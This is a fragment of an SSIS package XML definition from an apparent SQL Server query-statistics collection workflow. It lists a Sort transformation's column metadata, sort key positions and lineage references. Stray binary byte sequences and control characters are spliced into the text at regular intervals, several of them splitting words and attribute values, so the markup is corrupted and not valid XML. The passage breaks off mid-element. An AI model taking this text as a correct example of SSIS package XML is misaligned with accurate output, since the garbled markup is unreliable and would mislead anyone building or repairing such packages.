componentClassID="{5B1A3FF5-D366-4D75-AD1F-F19A36FCBEDB}" contactInfo="Sort;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Sorts data." name="SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order" version="1"><properties><property dataType="System.Boolean" description="Indicates whether the Sort transformation removes rows with duplicate sort values." name="EliminateDuplicates">false</property><property dataType="System.Int32" description="Specifies the maximum number of threads to use for sorting." expressionType="Notify" name="MaximumThreads">-1</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input]" name="Sort Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]"><properties><property 	!!!!!!!!!!!!!!!!!!!!!!!!`<2HvdataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">3</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">4</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">5</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort o	!!!!!!!!!!!!!!!!!!!!!!!!`<'	
Hvrder.Inputs[Sort Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.	!!!!!!!!!!!!!!!!!!!!!!!!`<'
܆lHvInt32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_worker_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Crea	!!!!!!!!!!!!!!!!!!!!!!!!`<'Q6,Hvte Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query 	!!!!!!!!!!!!!!!!!!!!!!!!`<'1Hvplan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]"><properties><property dataType="System.Int32" description="Specifies the comparison op	!!!!!!!!!!!!!!!!!!!!!!!!`<'8Hvtions for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">1</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">2</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Inputs[Sort Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]"><properties><property dataType="System.Int32" description="Specifies the comparison options for character data." name="NewComparisonFlags">0</property><property dataType="System.Int32" description="Specifies the sort order of the column." name="NewSortKeyPosition">0</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to	!!!!!!!!!!!!!!!!!!!!!!!!`<'VQHv the sort order.Outputs[Sort Output]" isSorted="true" name="Sort Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[statement_start_offset]" name="statement_start_offset" sortKeyPosition="3"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[statement_end_offset]" name="statement_end_offset" sortKeyPosition="4"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[plan_generation_num]" name="plan_generation_num" sortKeyPosition="5"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[creation_time]" name="creation_time"><properties><property containsID="true" dataType="System.Int32" description="Spe	!!!!!!!!!!!!!!!!!!!!!!!!`<'!_WHvcifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[last_execution_time]" name="last_execution_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[execution_count]" name="execution_count"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_worker_time]" name="total_worker_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, stateme	!!!!!!!!!!!!!!!!!!!!!!!!`<mjHvnt_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_physical_reads]" name="total_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_logical_writes]" name="total_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_logical_reads]" name="total_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_clr_time]" name="total_clr_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Co	!!!!!!!!!!!!!!!!!!!!!!!!`<
Hvlumns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_elapsed_time]" name="total_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_worker_time]" name="max_worker_time"><properties><property containsID="true" dataType="System.Int32" description="Specifies the lineage identifier of the input column that is associated with this output column." name="SortColumnId">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting 